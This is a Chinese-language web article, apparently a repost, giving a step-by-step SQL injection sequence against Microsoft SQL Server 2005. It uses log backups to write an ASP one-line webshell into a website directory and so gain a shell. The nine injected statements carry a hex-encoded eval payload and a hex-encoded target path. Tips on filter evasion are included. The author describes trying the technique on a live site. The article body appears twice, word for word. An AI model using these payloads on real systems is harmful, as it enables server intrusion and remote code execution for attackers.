mssql2005 DB權(quán)限導(dǎo)出一句話
發(fā)布日期：2022-01-29 10:51 | 文章來源：gibhub
網(wǎng)站路徑也搞到了，本想使用差異備份，在數(shù)據(jù)庫日志中插入一句話，然后備份到網(wǎng)站目錄下拿shell的，估計(jì)是用戶沒有備份數(shù)據(jù)庫的權(quán)限，但使用MSSQL2000的備份方法根本行不通，后來才想到MSSQL2005的備份和MSSQL2000有點(diǎn)不同。
后來在網(wǎng)上搜半天沒有找到具體的備份語句，后來在群求助，小冰才發(fā)我了具體的利用語句，但貼出來的文章貌似沒啥水準(zhǔn)，大家都知道手工差異備份是自己需要修改數(shù)據(jù)庫名和網(wǎng)站路徑的，但那個(gè)文章中對(duì)語句沒有做任何解釋，無奈之下我只好自己嘗試了，雖然測(cè)試的網(wǎng)站沒有成功拿下shell，單語句是沒有錯(cuò)誤的，我在本地的MSSQL2005的查詢分析器中測(cè)試通過了，再次特將語句整理出來分享個(gè)大家，并做好詳細(xì)的解釋說明，首先來貼出語句。
第一步
;alter/**/database/**/[Hospital]/**/set/**/recovery/**/full--
第二步：
;declare/**/@d/**/nvarchar(4000)/**/select/**/@d=0x640062006200610063006B00/**/backup/**/database/**/[Hospital]/**/to/**/disk=@d/**/with/**/init--
第三步
;drop/**/table/**/[itpro]--
第四步
;create/**/table/**/[itpro]([a]/**/image)--
第五步
;declare/**/@d/**/nvarchar(4000)/**/select/**/@d=0x640062006200610063006B00/**/backup/**/log/**/[Hospital]/**/to/**/disk=@d/**/with/**/init--
第六步
;insert/**/into/**/[itpro]([a])/**/values(0x3C25657865637574652872657175657374282261222929253EDA)--
第七步
;declare/**/@d/**/nvarchar(4000)/**/select/**/@d=0x65003A005C007700650062005C007A002E00610073007000/**/backup/**/log/**/[Hospital]/**/to/**/disk=@d/**/with/**/init--
第八步
;drop/**/table/**/[itpro]--
第九步
;declare/**/@d/**/nvarchar(4000)/**/select/**/@d=0x640062006200610063006B00/**/backup/**/log/**/[Hospital]/**/to/**/disk=@d/**/with/**/init--
其中紅色的“Hospital”既是數(shù)據(jù)庫名，這個(gè)要根據(jù)自己的情況來修改，然后黃色的“0x3C25657865637574652872657175657374282261222929253EDA”是一句話“<%eval request("a")%>”的內(nèi)容，橙色的“0x65003A005C007700650062005C007A002E00610073007000”為備份的路徑“e:\web\z.asp”，都是使用的SQL_En的格式，另外第三步大可以不需要！他是刪除itpro的表，如果第一次的話這個(gè)表是不存在的，就會(huì)提示無權(quán)限的信息。另外在語句“disk=@d”的地方可以將“=”更換成“%3D”，就是使用URL編碼。“/**/”就等于空格了，這個(gè)大家在學(xué)習(xí)注入的過程中應(yīng)該了解，也可以更換成“%20”。
后來在網(wǎng)上搜半天沒有找到具體的備份語句，后來在群求助，小冰才發(fā)我了具體的利用語句，但貼出來的文章貌似沒啥水準(zhǔn)，大家都知道手工差異備份是自己需要修改數(shù)據(jù)庫名和網(wǎng)站路徑的，但那個(gè)文章中對(duì)語句沒有做任何解釋，無奈之下我只好自己嘗試了，雖然測(cè)試的網(wǎng)站沒有成功拿下shell，單語句是沒有錯(cuò)誤的，我在本地的MSSQL2005的查詢分析器中測(cè)試通過了，再次特將語句整理出來分享個(gè)大家，并做好詳細(xì)的解釋說明，首先來貼出語句。
第一步
;alter/**/database/**/[Hospital]/**/set/**/recovery/**/full--
第二步：
;declare/**/@d/**/nvarchar(4000)/**/select/**/@d=0x640062006200610063006B00/**/backup/**/database/**/[Hospital]/**/to/**/disk=@d/**/with/**/init--
第三步
;drop/**/table/**/[itpro]--
第四步
;create/**/table/**/[itpro]([a]/**/image)--
第五步
;declare/**/@d/**/nvarchar(4000)/**/select/**/@d=0x640062006200610063006B00/**/backup/**/log/**/[Hospital]/**/to/**/disk=@d/**/with/**/init--
第六步
;insert/**/into/**/[itpro]([a])/**/values(0x3C25657865637574652872657175657374282261222929253EDA)--
第七步
;declare/**/@d/**/nvarchar(4000)/**/select/**/@d=0x65003A005C007700650062005C007A002E00610073007000/**/backup/**/log/**/[Hospital]/**/to/**/disk=@d/**/with/**/init--
第八步
;drop/**/table/**/[itpro]--
第九步
;declare/**/@d/**/nvarchar(4000)/**/select/**/@d=0x640062006200610063006B00/**/backup/**/log/**/[Hospital]/**/to/**/disk=@d/**/with/**/init--
其中紅色的“Hospital”既是數(shù)據(jù)庫名，這個(gè)要根據(jù)自己的情況來修改，然后黃色的“0x3C25657865637574652872657175657374282261222929253EDA”是一句話“<%eval request("a")%>”的內(nèi)容，橙色的“0x65003A005C007700650062005C007A002E00610073007000”為備份的路徑“e:\web\z.asp”，都是使用的SQL_En的格式，另外第三步大可以不需要！他是刪除itpro的表，如果第一次的話這個(gè)表是不存在的，就會(huì)提示無權(quán)限的信息。另外在語句“disk=@d”的地方可以將“=”更換成“%3D”，就是使用URL編碼。“/**/”就等于空格了，這個(gè)大家在學(xué)習(xí)注入的過程中應(yīng)該了解，也可以更換成“%20”。
版權(quán)聲明：本站文章來源標(biāo)注為YINGSOO的內(nèi)容版權(quán)均為本站所有，歡迎引用、轉(zhuǎn)載，請(qǐng)保持原文完整并注明來源及原文鏈接。禁止復(fù)制或仿造本網(wǎng)站，禁止在非www.sddonglingsh.com所屬的服務(wù)器上建立鏡像，否則將依法追究法律責(zé)任。本站部分內(nèi)容來源于網(wǎng)友推薦、互聯(lián)網(wǎng)收集整理而來，僅供學(xué)習(xí)參考，不代表本站立場(chǎng)，如有內(nèi)容涉嫌侵權(quán)，請(qǐng)聯(lián)系alex-e#qq.com處理。
相關(guān)文章
上一篇：
關(guān)注官方微信